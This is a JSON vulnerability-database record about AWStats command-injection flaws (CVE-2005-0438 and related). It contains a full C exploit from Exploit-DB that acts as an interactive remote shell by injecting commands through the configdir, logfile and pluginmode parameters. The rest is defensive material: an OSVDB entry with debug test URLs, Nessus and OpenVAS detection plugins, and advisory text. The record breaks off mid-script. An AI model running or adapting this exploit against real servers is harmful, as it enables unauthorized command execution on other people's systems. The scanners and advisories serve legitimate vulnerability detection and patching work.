{"exploitdb": [{"lastseen": "2016-01-31T13:01:26", "bulletinFamily": "exploit", "description": "AWStats 5.7 - 6.2 Multiple Remote Exploit (extra). CVE-2005-0438. Webapps exploit for cgi platform", "modified": "2005-03-02T00:00:00", "published": "2005-03-02T00:00:00", "id": "EDB-ID:853", "href": "https://www.exploit-db.com/exploits/853/", "type": "exploitdb", "title": "AWStats 5.7 - 6.2 - Multiple Remote Exploit extra", "sourceData": "/*\r\n * Awstats exploit \"shell\" \r\n * code by omin0us\r\n * omin0us208 [at] gmail [dot] com\r\n * dtors security group\r\n * .:( http://dtors.ath.cx ):.\r\n *\r\n * Vulnerability reported by iDEFENSE\r\n * pluginmode bug has been found by GHC team.\r\n *\r\n * The awstats exploit that was discovered allows\r\n * a user to execute arbitrary commands on the \r\n * remote server with the privileges of the httpd \r\n *\r\n * This exploit combines all three methods of exploitation\r\n * and acts as a remote \"shell\", parsing all returned \r\n * data to display command output and running in a loop\r\n * for continuous access.\r\n * \r\n * bash-2.05b$ awstats_shell localhost \r\n * Awstats 5.7 - 6.2 exploit Shell 0.1\r\n * code by omin0us\r\n * dtors security group\r\n * .: http://dtors.ath.cx :.\r\n * --------------------------------------\r\n * select exploit method:\r\n * 1. ?configdir=|cmd}\r\n * 2. ?update=1&logfile=|cmd|\r\n * 3. ?pluginmode=:system(\"cmd\");\r\n *\r\n * method [1/2/3]? 1\r\n * starting shell...\r\n * (ctrl+c to exit)\r\n * sh3ll> id\r\n * uid=80(www) gid=80(www) groups=80(www)\r\n * DTORS_STOP\r\n * sh3ll> uname -a\r\n *\r\n * FreeBSD omin0us.dtors.ath.cx 4.8-RELEASE FreeBSD 4.8-RELEASE #3: Mon Oct 11 \r\n * 19:34:01 EDT 2004 omin0us@localhost:/usr/src/sys/compile/DTORS i386\r\n * DTORS_STOP\r\n * sh3ll>\r\n *\r\n * this is licensed under the GPL\r\n */\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n#include <sys/types.h>\r\n#include <sys/socket.h>\r\n#include <netinet/in.h>\r\n#include <netdb.h>\r\n\r\n#define PORT 80\r\n#define CMD_BUFFER 512\r\n#define IN_BUFFER 10000\r\n#define MAGIC_START \"DTORS_START\"\r\n#define MAGIC_STOP \"DTORS_STOP\"\r\n\r\nvoid usage(char *argv[]);\r\n\r\nint main(int argc, char *argv[]){\r\n\r\n\tFILE *output;\r\n\tint sockfd;\r\n\tstruct sockaddr_in addr;\r\n\tstruct hostent *host;\r\n\tchar *host_name=NULL, *awstats_dir=NULL;\r\n\tchar cmd[CMD_BUFFER], cmd_url[CMD_BUFFER*3], incoming[IN_BUFFER], tmp, c, cli_opt;\r\n\tint i, j, flag, method, verbose=0;\r\n\r\n\t\r\n\tif(argc < 2){\r\n\t\tusage(argv);\r\n\t}\r\n\t\r\n\tprintf(\"Awstats 5.7 - 6.2 exploit Shell 0.1\\n\");\t\r\n\tprintf(\"code by omin0us\\n\");\r\n\tprintf(\"dtors security group\\n\");\r\n\tprintf(\".: http://dtors.ath.cx :.\\n\");\r\n printf(\"--------------------------------------\\n\");\r\n\r\n\twhile(1){\r\n\t\tcli_opt = getopt(argc, argv, \"h:d:v\");\r\n\r\n\t\tif(cli_opt < 0)\r\n\t\t\tbreak;\r\n\r\n\t\tswitch(cli_opt){\r\n\t\t\tcase 'v':\r\n\t\t\t\tverbose = 1;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'd':\r\n\t\t\t\tawstats_dir = optarg;\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tif((optind >= argc) || (strcmp(argv[optind], \"-\") == 0)){\r\n\t\tprintf(\"Please specify a Host\\n\");\r\n\t\tusage(argv);\r\n\t}\r\n\r\n\tif(!awstats_dir){\r\n\t\tawstats_dir = \"/cgi-bin/awstats.pl\";\r\n\t}\r\n\t\r\n\tprintf(\"select exploit method:\\n\"\r\n\t \"\\t1. ?configdir=|cmd}\\n\"\r\n\t \"\\t2. ?update=1&logfile=|cmd|\\n\"\r\n\t \"\\t3. ?pluginmode=:system(\\\"cmd\\\");\\n\");\r\n\twhile(method != '1' && method != '2' && method != '3'){\r\n\t\tprintf(\"\\nmethod [1/2/3]? \");\r\n\t\tmethod = getchar();\r\n\t}\r\n\r\n\tprintf(\"starting shell...\\n(ctrl+c to exit)\\n\");\r\n\t\t\r\n\t\r\nwhile(1){\r\n\ti=0;\r\n\tj=0;\r\n\tmemset(cmd, 0, CMD_BUFFER);\r\n\tmemset(cmd_url, 0, CMD_BUFFER*3);\r\n\tmemset(incoming, 0, IN_BUFFER);\r\n\t\r\n\tif((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){\r\n\t\tprintf(\"Error creating socket\\n\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\tif((host = gethostbyname(argv[optind])) == NULL){\r\n\t\tprintf(\"Could not resolv host\\n\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\taddr.sin_family = AF_INET;\r\n\taddr.sin_port = htons(PORT);\r\n\taddr.sin_addr = *((struct in_addr *)host->h_addr);\r\n\r\n\tprintf(\"sh3ll> \");\r\n\tfgets(cmd, CMD_BUFFER-1, stdin);\r\n\t\r\n\tif(verbose)\t\r\n\t\tprintf(\"Connecting to %s (%s)...\\n\", host->h_name, inet_ntoa(*((struct in_addr *)host->h_addr)));\r\n\r\n\tif( connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) != 0){\r\n\t\tprintf(\"Count not connect to host\\n\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\toutput = fdopen(sockfd, \"a\");\r\n\tsetbuf(output, NULL);\r\n\r\n\tcmd[strlen(cmd)-1] = '\\0';\r\n\tif(strlen(cmd) == 0){\r\n\t\tcmd[0]='i';\r\n\t\tcmd[1]='d';\r\n\t\tcmd[3]='\\0';\r\n\t}\r\n\r\n\tfor(i=0; i<strlen(cmd); i++){\r\n\t\tc = cmd[i];\r\n\t\tif(c == ' '){\r\n\t\t\tcmd_url[j++] = '%';\r\n\t\t\tcmd_url[j++] = '2';\r\n\t\t\tcmd_url[j++] = '0';\r\n\t\t}\r\n\t\telse{\r\n\t\t\tcmd_url[j++] = c;\r\n\t\t}\r\n\t}\r\n\tcmd_url[j] = '\\0';\r\n\r\n\tif(method == '1'){\r\n\t\tif(verbose){\r\n\t\t\tprintf(\"Sending Request\\n\");\t\r\n\t\t\tprintf(\"GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\\n\\n\", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);\r\n\t\t}\r\n\t\r\n\t\tfprintf(output, \"GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\\n\\n\", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);\r\n\t}\r\n\r\n\tif(method == '2'){\r\n\t\tif(verbose){\r\n\t\t\tprintf(\"Sending Request\\n\");\r\n\t\t\tprintf(\"GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\\n\\n\", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);\r\n\t\t}\r\n\t\tfprintf(output, \"GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\\n\\n\", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);\r\n\t}\r\n\r\n\tif(method == '3'){\r\n\t\tif(verbose){\r\n\t\t\tprintf(\"Sending Request\\n\");\r\n\t\t\tprintf(\"GET %s?pluginmode=:system(\\\"echo+%s;%s;echo+%s\\\"); HTTP/1.0\\n\"\r\n\"Connection: Keep-Alive\\n\"\r\n\"Host: %s\\n\\n\", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);\r\n\t\t}\r\n\t\tfprintf(output, \"GET %s?pluginmode=:system(\\\"echo+%s;%s;echo+%s\\\"); HTTP/1.0\\n\"\r\n\"Connection: Keep-Alive\\n\"\r\n\"Host: %s\\n\\n\", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);\r\n\t}\r\n\r\n\r\n\ti=0;\r\n\twhile(strstr(incoming, MAGIC_START) == NULL){\r\n\t\tflag = read(sockfd, &tmp, 1);\r\n\t\tincoming[i++] = tmp;\r\n\r\n\t\tif(i >= IN_BUFFER){\r\n\t\t\tprintf(\"flag [-] incoming buffer full\\n\");\r\n\t\t\texit(1);\r\n\t\t}\r\n\t\tif(flag==0){\r\n\t\t\tprintf(\"exploitation of host failed\\n\");\r\n\t\t\texit(1);\r\n\t\t}\r\n\t}\r\n\t\r\n\twhile(strstr(incoming, MAGIC_STOP) == NULL){\r\n\t\tread(sockfd,&tmp,1);\r\n\t\tincoming[i++] = tmp;\r\n\t\tputchar(tmp);\r\n\t\tif(i >= IN_BUFFER){\r\n\t\t\tprintf(\"putchar [-] incoming buffer full\\n\");\r\n\t\t\texit(1);\r\n\t\t}\r\n\t}\r\n\tprintf(\"\\n\");\r\n\t\r\n\tshutdown(sockfd, SHUT_WR);\r\n\tclose(sockfd);\r\n\tfclose(output);\r\n\t}\r\n\treturn(0);\r\n}\r\n\r\nvoid usage(char *argv[]){\r\n printf(\"Usage: %s [options] <host>\\n\" , argv[0]);\r\n printf(\"Options:\\n\");\r\n printf(\" -d <awstats_dir> directory of awstats script\\n\");\r\n printf(\" '/cgi-bin/awstats.pl' is default\\n\");\r\n printf(\" if no directory is specified\\n\\n\");\r\n printf(\" -v verbose mode (optional)\\n\\n\");\r\n printf(\"example: %s -d /stats/awstats.pl website.com\\n\\n\", argv[0]);\r\n exit(1);\r\n}\t\r\n\r\n// milw0rm.com [2005-03-02]\r\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/853/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:09", "bulletinFamily": "software", "description": "## Solution Description\nUpgrade to version 6.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Manual Testing Notes\nhttp://[victim]/cgi-bin/awstats-6.4/awstats.pl?debug=1\nhttp://[victim]/cgi-bin/awstats-6.4/awstats.pl?debug=2\n## References:\nVendor URL: http://awstats.sourceforge.net/\n[Vendor Specific Advisory URL](http://www.debian.org/security/2005/dsa-682)\n[Secunia Advisory ID:14299](https://secuniaresearch.flexerasoftware.com/advisories/14299/)\n[Related OSVDB ID: 13831](https://vulners.com/osvdb/OSVDB:13831)\n[Related OSVDB ID: 13832](https://vulners.com/osvdb/OSVDB:13832)\n[Related OSVDB ID: 13833](https://vulners.com/osvdb/OSVDB:13833)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-02/0163.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-02/0151.html\n[CVE-2005-0438](https://vulners.com/cve/CVE-2005-0438)\n", "modified": "2005-02-14T10:10:35", "published": "2005-02-14T10:10:35", "href": "https://vulners.com/osvdb/OSVDB:13834", "id": "OSVDB:13834", "title": "AWStats awstats.pl debug mode Information Disclosure", "type": "osvdb", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "nessus": [{"lastseen": "2019-02-21T01:08:23", "bulletinFamily": "scanner", "description": "The remote host is running AWStats, a free logfile analysis tool for analyzing ftp, mail, web, ... traffic.\n\nThe remote version of this software is prone to a command execution flaw as well as an information disclosure vulnerability. An attacker may exploit this feature to obtain more information about the setup of the remote host or to execute arbitrary commands with the privileges of the web server.", "modified": "2018-06-13T00:00:00", "id": "AWSTATS_DEBUG_OUTPUT.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=16456", "published": "2005-02-14T00:00:00", "title": "AWStats Multiple Remote Vulnerabilities (Cmd Exec, Traversal, ID)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(16456);\n script_version(\"1.20\");\n script_cvs_date(\"Date: 2018/06/13 18:56:26\");\n\n script_cve_id(\"CVE-2005-0436\", \"CVE-2005-0437\", \"CVE-2005-0438\");\n script_bugtraq_id(12545, 12543, 12572);\n\n script_name(english:\"AWStats Multiple Remote Vulnerabilities (Cmd Exec, Traversal, ID)\");\n script_summary(english:\"Determines the presence of debug output in AWStats\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host contains a CGI script that is affected by multiple\nissues.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running AWStats, a free logfile analysis tool for\nanalyzing ftp, mail, web, ... traffic.\n\nThe remote version of this software is prone to a command execution flaw\nas well as an information disclosure vulnerability. An attacker may\nexploit this feature to obtain more information about the setup of the\nremote host or to execute arbitrary commands with the privileges of the\nweb server.\");\n script_set_attribute(attribute:\"solution\", value:\"Unknown at this time.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:U/RC:ND\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2005/02/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2005/02/14\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:laurent_destailleur:awstats\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.\");\n script_family(english:\"CGI abuses\");\n\n script_dependencies(\"awstats_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_keys(\"www/AWStats\");\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"webapp_func.inc\");\n\nglobal_var port;\n\nfunction check(url)\n{\n local_var r, res;\n\n r = http_send_recv3(method:\"GET\", item:url +\"/awstats.pl?debug=2\", port:port);\n if (isnull(r)) exit(1, \"The web server on port \"+port+\" failed to respond.\");\n res = strcat(r[0], r[1], '\\r\\n', r[2]);\n if ( \"DEBUG 2 - PluginMode=\" >< res )\n {\n security_hole(port);\n exit(0);\n }\n}\n\nport = get_http_port(default:80, embedded: 0);\n\n\ninstall = get_install_from_kb(appname:'AWStats', port:port);\nif (isnull(install)) exit(0, \"The 'www/\"+port+\"/AWStats' KB item is missing.\");\ndir = install['dir'];\n\ncheck(url:dir);\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-02-21T01:08:23", "bulletinFamily": "scanner", "description": "In addition to CAN-2005-0116 more vulnerabilities have been found in awstats, a powerful and featureful web server log analyzer with a CGI frontend. Missing input sanitising can cause arbitrary commands to be executed.", "modified": "2018-08-09T00:00:00", "id": "DEBIAN_DSA-682.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=16464", "published": "2005-02-16T00:00:00", "title": "Debian DSA-682-1 : awstats - missing input sanitizing", "type": "nessus", "sourceData": "#%NASL_MIN_LEVEL 70103\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-682. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(16464);\n script_version(\"1.18\");\n script_cvs_date(\"Date: 2018/08/09 17:06:36\");\n\n script_cve_id(\"CVE-2005-0362\", \"CVE-2005-0363\", \"CVE-2005-0435\", \"CVE-2005-0436\", \"CVE-2005-0437\", \"CVE-2005-0438\");\n script_xref(name:\"DSA\", value:\"682\");\n\n script_name(english:\"Debian DSA-682-1 : awstats - missing input sanitizing\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"In addition to CAN-2005-0116 more vulnerabilities have been found in\nawstats, a powerful and featureful web server log analyzer with a CGI\nfrontend. Missing input sanitising can cause arbitrary commands to be\nexecuted.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=294488\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.debian.org/security/2005/dsa-682\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the awstats package.\n\nFor the stable distribution (woody) this problem has been fixed in\nversion 4.0-0.woody.2.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:awstats\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:3.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2005/02/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2005/02/16\");\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2005/02/10\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"3.0\", prefix:\"awstats\", reference:\"4.0-0.woody.2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-02-21T01:08:41", "bulletinFamily": "scanner", "description": "Several input validation errors exist in AWStats that allow a remote unauthenticated attacker to execute arbitrary commands with the priviliges of the web server. These programming errors involve CGI parameters including loadplugin, logfile, pluginmode, update, and possibly others.\n\nAdditionally, the debug and other CGI parameters may be used to cause AWStats to disclose AWStats and system configuration information.", "modified": "2018-12-19T00:00:00", "id": "FREEBSD_PKG_FDAD8A877F9411D9A9E70001020EED82.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=19185", "published": "2005-07-13T00:00:00", "title": "FreeBSD : awstats -- arbitrary command execution (fdad8a87-7f94-11d9-a9e7-0001020eed82)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2018 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(19185);\n script_version(\"1.21\");\n script_cvs_date(\"Date: 2018/12/19 13:21:18\");\n\n script_cve_id(\"CVE-2005-0362\", \"CVE-2005-0363\", \"CVE-2005-0435\", \"CVE-2005-0436\", \"CVE-2005-0437\", \"CVE-2005-0438\");\n script_bugtraq_id(12543, 12545);\n\n script_name(english:\"FreeBSD : awstats -- arbitrary command execution (fdad8a87-7f94-11d9-a9e7-0001020eed82)\");\n script_summary(english:\"Checks for updated package in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote FreeBSD host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Several input validation errors exist in AWStats that allow a remote\nunauthenticated attacker to execute arbitrary commands with the\npriviliges of the web server. These programming errors involve CGI\nparameters including loadplugin, logfile, pluginmode, update, and\npossibly others.\n\nAdditionally, the debug and other CGI parameters may be used to cause\nAWStats to disclose AWStats and system configuration information.\"\n );\n # http://marc.theaimsgroup.com/?l=bugtraq&m=110840530924124\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://marc.info/?l=bugtraq&m=110840530924124\"\n );\n # http://awstats.sourceforge.net/docs/awstats_changelog.txt\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://awstats.sourceforge.io/docs/awstats_changelog.txt\"\n );\n # http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=294488\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=294488\"\n );\n # http://packetstormsecurity.nl/0501-exploits/AWStatsVulnAnalysis.pdf\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?0152761e\"\n );\n # https://vuxml.freebsd.org/freebsd/fdad8a87-7f94-11d9-a9e7-0001020eed82.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?7886b289\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:ND\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:awstats\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2005/02/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2005/02/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2005/07/13\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"awstats<6.4\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "openvas": [{"lastseen": "2017-07-02T21:10:21", "bulletinFamily": "scanner", "description": "The remote host is missing an update to the system\nas announced in the referenced advisory.", "modified": "2016-09-15T00:00:00", "published": "2008-09-04T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=52186", "id": "OPENVAS:52186", "title": "FreeBSD Ports: awstats", "type": "openvas", "sourceData": "#\n#VID fdad8a87-7f94-11d9-a9e7-0001020eed82\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from vuxml or freebsd advisories\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The following package is affected: awstats\n\nCVE-2005-0362\nawstats.pl in AWStats 6.2 allows remote attackers to execute arbitrary\ncommands via shell metacharacters in the (1) 'pluginmode', (2)\n'loadplugin', or (3) 'noloadplugin' parameters.\n\nCVE-2005-0363\nawstats.pl in AWStats 4.0 and 6.2 allows remote attackers to execute\narbitrary commands via shell metacharacters in the config parameter.\n\nCVE-2005-0435\nawstats.pl in AWStats 6.3 and 6.4 allows remote attackers to read\nserver web logs by setting the loadplugin and pluginmode parameters to\nrawlog.\n\nCVE-2005-0436\nDirect code injection vulnerability in awstats.pl in AWStats 6.3 and\n6.4 allows remote attackers to execute portions of Perl code via the\nPluginMode parameter.\n\nCVE-2005-0437\nDirectory traversal vulnerability in awstats.pl in AWStats 6.3 and 6.4\nallows remote attackers to include arbitrary Perl modules via .. (dot\ndot) sequences in the loadplugin parameter.\n\nCVE-2005-0438\nawstats.pl in AWStats 6.3 and 6.4 allows remote attackers to obtain\nsensitive information by setting the debug parameter.\";\ntag_solution = \"Update your system with the appropriate patches or\nsoftware upgrades.\n\nhttp://awstats.sourceforge.net/docs/awstats_changelog.txt\nhttp://bugs.debian.org/cgi-bin/bugreport.cgi?bug=294488\nhttp://packetstormsecurity.nl/0501-exploits/AWStatsVulnAnalysis.pdf\nhttp://marc.theaimsgroup.com/?l=bugtraq&m=110840530924124\nhttp://www.vuxml.org/freebsd/fdad8a87-7f94-11d9-a9e7-0001020eed82.html\";\ntag_summary = \"The remote host is missing an update to the system\nas announced in the referenced advisory.\";\n\n\nif(description)\n{\n script_id(52186);\n script_version(\"$Revision: 4075 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2016-09-15 15:13:05 +0200 (Thu, 15 Sep 2016) $\");\n script_tag(name:\"creation_date\", value:\"2008-09-04 20:41:11 +0200 (Thu, 04 Sep 2008)\");\n script_cve_id(\"CVE-2005-0362\", \"CVE-2005-0363\", \"CVE-2005-0435\", \"CVE-2005-0436\", \"CVE-2005-0437\", \"CVE-2005-0438\");\n script_bugtraq_id(12543,12545);\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_name(\"FreeBSD Ports: awstats\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2005 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"FreeBSD Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/freebsdrel\", \"login/SSH/success\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-bsd.inc\");\n\ntxt = \"\";\nvuln = 0;\nbver = portver(pkg:\"awstats\");\nif(!isnull(bver) && revcomp(a:bver, b:\"6.4\")<0) {\n txt += 'Package awstats version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 